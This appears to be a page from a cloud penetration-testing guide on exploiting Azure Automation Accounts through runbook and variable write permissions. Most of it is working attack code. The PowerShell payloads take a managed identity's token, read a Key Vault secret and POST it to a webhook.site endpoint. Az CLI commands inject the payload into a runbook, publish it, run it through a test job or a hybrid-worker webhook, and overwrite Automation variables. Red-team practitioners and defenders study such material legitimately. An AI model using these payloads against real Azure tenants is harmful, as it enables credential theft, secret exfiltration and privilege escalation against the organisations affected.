Azure Automation Accounts Explotation

Create/Modify/Run Runbooks

The following permisssions are needed:

  • Microsoft.Automation/automationAccounts/jobs/write
  • Microsoft.Automation/automationAccounts/runbooks/draft/write
  • Microsoft.Automation/automationAccounts/jobs/output/read
  • Microsoft.Automation/automationAccounts/runbooks/publish/action
  • Microsoft.Resources/subscriptions/resourcegroups/read
  • Microsoft.Automation/automationAccounts/runbooks/write

As summary these permissions allow to create, modify and run Runbooks in the Automation Account which you could use to execute code in the context of the Automation Account and escalate privileges to the assigned Managed Identities and leak credentials and encrypted variables stored in the Automation Account.

Create a payload to steal the MI

# payload.ps1
$identityEndpoint = $env:IDENTITY_ENDPOINT
$identityHeader   = $env:IDENTITY_HEADER

$tokenResponse = Invoke-RestMethod `
    -Uri "http://$identityEndpoint/metadata/identity/oauth2/token?api-version=2019-08-01&resource=https://vault.azure.net" `
    -Headers @{"Secret" = $identityHeader} `
    -Method Get

$token = $tokenResponse.access_token

$secretResponse = Invoke-RestMethod `
    -Uri "https://<vault-name>.vault.azure.net/secrets/<secret-name>/?api-version=7.4" `
    -Headers @{"Authorization" = "Bearer $token"} `
    -Method Get

$body = @{ secret = $secretResponse.value } | ConvertTo-Json
Invoke-RestMethod `
    -Uri "https://webhook.site/<your-uuid>" `
    -Method Post -Body $body -ContentType "application/json"

Then inject the payload

az automation runbook replace-content --no-wait \
  --resource-group <RG> \
  --automation-account-name <account> \
  --name <runbook-name> \
  --content @payload.ps1

And start a test job

az rest --method PUT \
  --url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/<RG>/providers/Microsoft.Automation/automationAccounts/<account>/runbooks/<runbook>/draft/testJob?api-version=2023-05-15-preview" \
  --headers "Content-Type=application/json" \
  --body '{
    "parameters": {},
    "runOn": "",
    "runtimeEnvironment": "PowerShell-5.1"
  }'

Webhooks

# payload.ps1
$tokenResponse = Invoke-RestMethod `
    -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-12-13&resource=https://vault.azure.net" `
    -Headers @{"Metadata" = "true"} `
    -Method Get

$token = $tokenResponse.access_token

$secretResponse = Invoke-RestMethod `
    -Uri "https://<vault-name>.vault.azure.net/secrets/<secret-name>/?api-version=7.4" `
    -Headers @{"Authorization" = "Bearer $token"} `
    -Method Get

$body = @{ secret = $secretResponse.value } | ConvertTo-Json
Invoke-RestMethod `
    -Uri "https://webhook.site/<your-uuid>" `
    -Method Post -Body $body -ContentType "application/json"
# Step 1: Upload and publish (webhooks require published version)
az automation runbook replace-content --no-wait \
  --resource-group <RG> --automation-account-name <account> \
  --name <runbook> --content @payload.ps1

az automation runbook publish \
  --resource-group <RG> --automation-account-name <account> \
  --name <runbook> 

# Step 2: Create webhook pointing to hybrid worker group
# The webhook URI is ONLY returned on creation — save it immediately
az rest --method put \
  --url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/<RG>/providers/Microsoft.Automation/automationAccounts/<account>/webhooks/<webhook-name>?api-version=2015-10-31" \
  --body '{
    "name": "<webhook-name>",
    "properties": {
      "isEnabled": true,
      "expiryTime": "2027-12-31T23:59:59+00:00",
      "runOn": "<hybrid-worker-group-name>",
      "runbook": { "name": "<runbook-name>" }
    }
  }'
# Save the returned "uri" field immediately — it will not be shown again

WEBHOOK_URI='https://...'

# Step 3: Fire the webhook
# ⚠️ Use single quotes in zsh — zsh escapes ? in URLs
curl -s -X POST "$WEBHOOK_URI" \
  -H "Content-Type: application/json" \
  --data-raw '{}'

Modify variables

The permission needed is:

  • Microsoft.Automation/automationAccounts/variables/write

With the permission Microsoft.Automation/automationAccounts/variables/write it’s possible to write variables in the Automation Account using the following command.

az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
--headers "Content-Type=application/json" \
--body '{
    "name": "<variable-name>",
    "properties": {
        "description": "",
        "value": "\"<variable-value>\"",
        "isEncrypted": false
    }
}

Or with a file

az rest --method PUT \
  --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
  --headers "Content-Type=application/json" \
  --body @body.json